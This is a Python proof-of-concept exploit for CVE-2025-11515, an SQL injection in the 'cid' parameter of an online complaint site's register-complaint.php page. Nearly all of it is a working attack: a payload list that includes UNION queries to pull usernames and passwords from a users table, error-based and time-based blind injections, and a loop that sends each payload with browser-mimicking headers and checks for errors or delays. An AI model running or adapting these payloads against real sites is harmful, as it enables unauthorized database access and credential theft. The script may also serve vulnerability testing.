# CVE-2025-11515 - Online Complaint Site SQL Injection PoC
# Vulnerability: SQL Injection via 'cid' parameter in /cms/users/register-complaint.php
# CVSS: 6.3 (MEDIUM)
import requests
# Target configuration
TARGET_URL = "http://target.com/cms/users/register-complaint.php"
# Headers to mimic a normal browser request
HEADERS = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Content-Type": "application/x-www-form-urlencoded",
"Accept": "text/html,application/xhtml+xml"
}
# SQL Injection payloads targeting the 'cid' parameter
PAYLOADS = [
# Basic boolean-based injection test
"1' OR '1'='1",
"1' OR '1'='1'-- -",
"1' OR '1'='1'#",
# Union-based injection to extract data
"1' UNION SELECT 1,2,3-- -",
"1' UNION SELECT username,password,3 FROM users-- -",
"1' UNION SELECT table_name,2,3 FROM information_schema.tables-- -",
# Error-based injection
"1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -",
# Time-based blind injection
"1' AND SLEEP(5)-- -",
"1' OR IF(1=1,SLEEP(5),0)-- -",
]
def test_sql_injection(target_url, payload):
"""Test SQL injection with given payload on 'cid' parameter"""
params = {"cid": payload}
try:
response = requests.get(target_url, params=params, headers=HEADERS, timeout=10)
return response
except requests.exceptions.RequestException as e:
print(f"[ERROR] Request failed: {e}")
return None
def main():
print(f"[*] Testing CVE-2025-11515 SQL Injection")
print(f"[*] Target: {TARGET_URL}")
print(f"[*] Vulnerable Parameter: cid")
print("-" * 60)
for i, payload in enumerate(PAYLOADS, 1):
print(f"\n[+] Test {i}: Sending payload -> {payload[:50]}...")
response = test_sql_injection(TARGET_URL, payload)
if response:
print(f" Status Code: {response.status_code}")
print(f" Response Length: {len(response.text)}")
# Check for SQL error messages in response
sql_errors = ["SQL syntax", "mysql_fetch", "mysql_num_rows",
"MySQLSyntaxErrorException", "ORA-00933", "PostgreSQL"]
for error in sql_errors:
if error.lower() in response.text.lower():
print(f" [!] SQL Error detected: {error}")
break
# Check for time-based blind injection
if "SLEEP" in payload.upper() and response.elapsed.total_seconds() > 4:
print(f" [!] Time-based blind injection confirmed (delay: {response.elapsed.total_seconds()}s)")
if __name__ == "__main__":
main()